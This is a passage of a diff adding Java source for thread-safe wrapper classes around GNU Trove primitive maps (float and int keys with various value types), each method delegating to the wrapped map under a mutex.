+    private transient gnu.trove.set.TFloatSet keySet = null;
+    private transient TIntCollection values = null;
+    
+    public gnu.trove.set.TFloatSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedFloatSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public float[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public float[] keys(float[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TIntCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedIntCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public int[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public int[] values(int[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TFloatIntIterator iterator() { return m.iterator(); }
+    
+
+
+    public float getNoEntryKey() { return m.getNoEntryKey(); }
+    public int getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public int putIfAbsent(float key, int value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TFloatProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TIntProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TFloatIntProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TIntFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TFloatIntProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(float key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(float key, int amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public int adjustOrPutValue(float key, int adjust_amount, int put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedFloatLongMap
+    implements TFloatLongMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TFloatLongMap m;
+    final Object mutex;
+    
+    public TSynchronizedFloatLongMap(TFloatLongMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedFloatLongMap(TFloatLongMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(float key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(long value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public long get(float key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public long put(float key, long value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public long remove(float key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Float, ? extends Long> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TFloatLongMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TFloatSet keySet = null;
+    private transient TLongCollection values = null;
+    
+    public gnu.trove.set.TFloatSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedFloatSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public float[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public float[] keys(float[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TLongCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedLongCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public long[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public long[] values(long[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TFloatLongIterator iterator() { return m.iterator(); }
+    
+
+
+    public float getNoEntryKey() { return m.getNoEntryKey(); }
+    public long getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public long putIfAbsent(float key, long value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TFloatProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TLongProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TFloatLongProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TLongFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TFloatLongProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(float key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(float key, long amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public long adjustOrPutValue(float key, long adjust_amount, long put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedFloatByteMap
+    implements TFloatByteMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TFloatByteMap m;
+    final Object mutex;
+    
+    public TSynchronizedFloatByteMap(TFloatByteMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedFloatByteMap(TFloatByteMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(float key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(byte value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public byte get(float key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public byte put(float key, byte value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public byte remove(float key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Float, ? extends Byte> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TFloatByteMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TFloatSet keySet = null;
+    private transient TByteCollection values = null;
+    
+    public gnu.trove.set.TFloatSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedFloatSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public float[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public float[] keys(float[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TByteCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedByteCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public byte[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public byte[] values(byte[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TFloatByteIterator iterator() { return m.iterator(); }
+    
+
+
+    public float getNoEntryKey() { return m.getNoEntryKey(); }
+    public byte getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public byte putIfAbsent(float key, byte value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TFloatProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TByteProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TFloatByteProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TByteFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TFloatByteProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(float key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(float key, byte amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public byte adjustOrPutValue(float key, byte adjust_amount, byte put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedFloatShortMap
+    implements TFloatShortMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TFloatShortMap m;
+    final Object mutex;
+    
+    public TSynchronizedFloatShortMap(TFloatShortMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedFloatShortMap(TFloatShortMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(float key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(short value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public short get(float key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public short put(float key, short value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public short remove(float key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Float, ? extends Short> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TFloatShortMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TFloatSet keySet = null;
+    private transient TShortCollection values = null;
+    
+    public gnu.trove.set.TFloatSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedFloatSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public float[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public float[] keys(float[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TShortCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedShortCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public short[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public short[] values(short[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TFloatShortIterator iterator() { return m.iterator(); }
+    
+
+
+    public float getNoEntryKey() { return m.getNoEntryKey(); }
+    public short getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public short putIfAbsent(float key, short value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TFloatProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TShortProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TFloatShortProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TShortFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TFloatShortProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(float key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(float key, short amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public short adjustOrPutValue(float key, short adjust_amount, short put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedFloatCharMap
+    implements TFloatCharMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TFloatCharMap m;
+    final Object mutex;
+    
+    public TSynchronizedFloatCharMap(TFloatCharMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedFloatCharMap(TFloatCharMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(float key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(char value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public char get(float key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public char put(float key, char value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public char remove(float key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Float, ? extends Character> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TFloatCharMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TFloatSet keySet = null;
+    private transient TCharCollection values = null;
+    
+    public gnu.trove.set.TFloatSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedFloatSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public float[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public float[] keys(float[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TCharCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedCharCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public char[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public char[] values(char[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TFloatCharIterator iterator() { return m.iterator(); }
+    
+
+
+    public float getNoEntryKey() { return m.getNoEntryKey(); }
+    public char getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public char putIfAbsent(float key, char value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TFloatProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TCharProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TFloatCharProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TCharFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TFloatCharProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(float key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(float key, char amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public char adjustOrPutValue(float key, char adjust_amount, char put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedIntDoubleMap
+    implements gnu.trove.map.TIntDoubleMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TIntDoubleMap m;
+    final Object mutex;
+    
+    public TSynchronizedIntDoubleMap(gnu.trove.map.TIntDoubleMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedIntDoubleMap(gnu.trove.map.TIntDoubleMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(int key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(double value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public double get(int key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public double put(int key, double value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public double remove(int key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Integer, ? extends Double> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TIntDoubleMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TIntSet keySet = null;
+    private transient TDoubleCollection values = null;
+    
+    public gnu.trove.set.TIntSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedIntSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public int[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public int[] keys(int[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TDoubleCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedDoubleCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public double[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public double[] values(double[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TIntDoubleIterator iterator() { return m.iterator(); }
+    
+
+
+    public int getNoEntryKey() { return m.getNoEntryKey(); }
+    public double getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public double putIfAbsent(int key, double value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TIntProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TDoubleProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TIntDoubleProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TIntDoubleProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(int key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(int key, double amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public double adjustOrPutValue(int key, double adjust_amount, double put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedIntFloatMap
+    implements TIntFloatMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TIntFloatMap m;
+    final Object mutex;
+    
+    public TSynchronizedIntFloatMap(TIntFloatMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedIntFloatMap(TIntFloatMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(int key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(float value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public float get(int key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public float put(int key, float value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public float remove(int key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Integer, ? extends Float> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TIntFloatMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TIntSet keySet = null;
+    private transient TFloatCollection values = null;
+    
+    public gnu.trove.set.TIntSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedIntSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public int[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public int[] keys(int[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TFloatCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedFloatCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public float[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public float[] values(float[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TIntFloatIterator iterator() { return m.iterator(); }
+    
+
+
+    public int getNoEntryKey() { return m.getNoEntryKey(); }
+    public float getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public float putIfAbsent(int key, float value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TIntProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TFloatProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TIntFloatProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TFloatFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TIntFloatProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(int key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(int key, float amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public float adjustOrPutValue(int key, float adjust_amount, float put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedIntIntMap
+    implements TIntIntMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TIntIntMap m;
+    final Object mutex;
+    
+    public TSynchronizedIntIntMap(TIntIntMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedIntIntMap(TIntIntMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(int key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(int value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public int get(int key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public int put(int key, int value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public int remove(int key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Integer, ? extends Integer> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TIntIntMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TIntSet keySet = null;
+    private transient TIntCollection values = null;
+    
+    public gnu.trove.set.TIntSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedIntSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public int[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public int[] keys(int[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TIntCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedIntCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public int[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public int[] values(int[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TIntIntIterator iterator() { return m.iterator(); }
+    
+
+
+    public int getNoEntryKey() { return m.getNoEntryKey(); }
+    public int getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public int putIfAbsent(int key, int value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TIntProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TIntProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TIntIntProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TIntFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TIntIntProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(int key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(int key, int amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public int adjustOrPutValue(int key, int adjust_amount, int put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedIntLongMap
+    implements gnu.trove.map.TIntLongMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TIntLongMap m;
+    final Object mutex;
+    
+    public TSynchronizedIntLongMap(gnu.trove.map.TIntLongMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedIntLongMap(gnu.trove.map.TIntLongMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(int key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(long value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public long get(int key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
